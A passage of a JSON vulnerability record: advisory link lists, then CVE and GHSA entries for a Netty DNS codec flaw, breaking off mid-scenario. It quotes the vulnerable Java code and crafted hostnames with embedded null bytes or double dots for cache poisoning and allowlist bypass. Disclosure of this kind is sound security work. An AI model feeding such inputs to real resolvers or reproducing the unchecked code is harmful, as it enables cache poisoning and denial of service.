cord?id=CVE-2026-42584","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42584","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42585","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477227","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42585","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42587","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477220","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42587","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42587","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44249","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44249","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44249","tags":["advisory"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.135.Final","tags":["article"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.15.Final","tags":["article"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-3qp7-7mw8-wx86","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45416","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45416","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45416","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-x4gw-5cx5-pgmh","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45674","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45674","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45674","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-676x-f7gg-47vc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-47691","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-47691","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47691","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5pvg-856g-cp85","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50010","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50010","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50010","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-c653-97m9-rcg9","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html-single/installation_guide/index","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444320","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458634","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458635","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458638","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458640","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458641","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467540","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477930","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480325","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480601","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480637","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2482963","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2482965","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483121","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483131","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483133","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483135","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483136","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483138","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488053","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488062","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488383","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488388","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488413","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488433","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488437","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488442","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2490628","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491620","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491999","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492015","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511026","tags":["report"]},{"url":"https://issues.redhat.com/browse/JBEAP-33515","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_53644.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-14813","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-14813","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14813","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902025%E2%80%9014813","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-0636","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-0636","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0636","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde","tags":["article"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-3505","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-3505","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-3505","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%903505","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-5588","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-5588","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5588","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905588","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-5598","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-5598","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5598","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905998","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-10579","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-10579","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10579","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15554","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15554","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15554","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15555","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15555","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15555","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15556","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15556","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15556","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15560","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15560","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15560","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15561","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15561","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15561","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15562","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15562","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15562","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15563","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15563","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15563","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15565","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15565","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15565","tags":["advisory"]},{"url":"https://cwe.mitre.org/data/definitions/120.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15567","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15567","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15567","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27446","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27446","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27446","tags":["advisory"]},{"url":"https://lists.apache.org/thread/jwpsdc8tdxotm98od8n8n30fqlzoc8gg","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-41417","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-41417","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41417","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44250","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44250","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44250","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-3244-j874-rhc2","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44890","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44890","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44890","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6ghj-frrj-jjj3","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44893","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44893","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44893","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-cc37-9q2j-3hfv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-46340","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-46340","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46340","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5xrh-qmmq-w6ch","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-46581","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-46581","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46581","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48006","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48006","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48006","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6jv9-x5w9-2ccm","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48043","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48043","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48043","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-c2gf-v879-257j","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48059","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48059","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48059","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-h2qv-fj59-j46j","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50011","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50011","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50011","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5w86-c3rq-vjj7","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50193","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50193","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50193","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/a1fa4ae4ecf5cee16da465985f135f3e81816f8c","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/3447","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-3wrr-7qpf-2prh","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54512","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54512","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54512","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/5988","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-68494","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-68494","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68494","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/pull/1611","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9","tags":["article"]},{"url":"https://github.com/advisories/GHSA-72hv-8253-57qq","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-18401","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-86404","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-86404","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86404","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html/getting_started_with_jboss_eap_for_openshift_container_platform/index","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html-single/7.4.0_release_notes/index","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-30840","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_53645.json","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html/installation_guide/index","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html/7.4.0_release_notes/index","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-30841","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_53646.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:76128","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_76128.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-9784","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2392306","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9784","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9784","tags":["advisory"]},{"url":"https://github.com/undertow-io/undertow/pull/1778","tags":["article"]},{"url":"https://github.com/undertow-io/undertow/releases/tag/2.2.38.Final","tags":["article"]},{"url":"https://issues.redhat.com/browse/UNDERTOW-2598","tags":["article"]},{"url":"https://kb.cert.org/vuls/id/767506","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-12543","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2408784","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-12543","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-12543","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-0603","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2427147","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-0603","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0603","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-2092","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2437296","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-2092","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2092","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-2575","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2440149","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-2575","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2575","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-4634","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2450250","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-4634","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4634","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7307","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2476526","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7307","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7307","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7507","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464145","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7507","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7507","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:76129","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_76129.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:76130","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_76130.json","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262308-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1264350","tags":["report"]},{"url":"https://bugzilla.suse.com/1265243","tags":["report"]},{"url":"https://bugzilla.suse.com/1265245","tags":["report"]},{"url":"https://bugzilla.suse.com/1265246","tags":["report"]},{"url":"https://bugzilla.suse.com/1265272","tags":["report"]},{"url":"https://bugzilla.suse.com/1265273","tags":["report"]},{"url":"https://bugzilla.suse.com/1265277","tags":["report"]},{"url":"https://bugzilla.suse.com/1265279","tags":["report"]},{"url":"https://bugzilla.suse.com/1265280","tags":["report"]},{"url":"https://bugzilla.suse.com/1265292","tags":["report"]},{"url":"https://bugzilla.suse.com/1265294","tags":["report"]},{"url":"https://bugzilla.suse.com/1265318","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41417","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42578","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42579","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42583","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42584","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42585","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42586","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42587","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44248","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-42579","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8401-1","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-42579","title":"Netty: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T18:01:52.5Z","modified":"2026-09-18T12:04:42.857Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-20","CWE-400","CWE-626","CWE-1286"],"updated_at":"2026-11-02T13:40:35.004553Z"}],"euvd":[{"id":"EUVD-2026-30122","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T18:01:52Z","modified":"2026-09-18T12:04:42Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:09.240281Z"}],"ghsa":[{"id":"GHSA-cm33-6792-r9fm","title":"Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)","description":"# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side — Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] 'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side — Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause — Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen \u003e 63\n        // NO check: label contains null bytes\n        // NO check: total name \u003e 255 bytes\n        buf.writeByte(labelLen);                    // Can write values \u003e 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause — Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len \u003c= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion 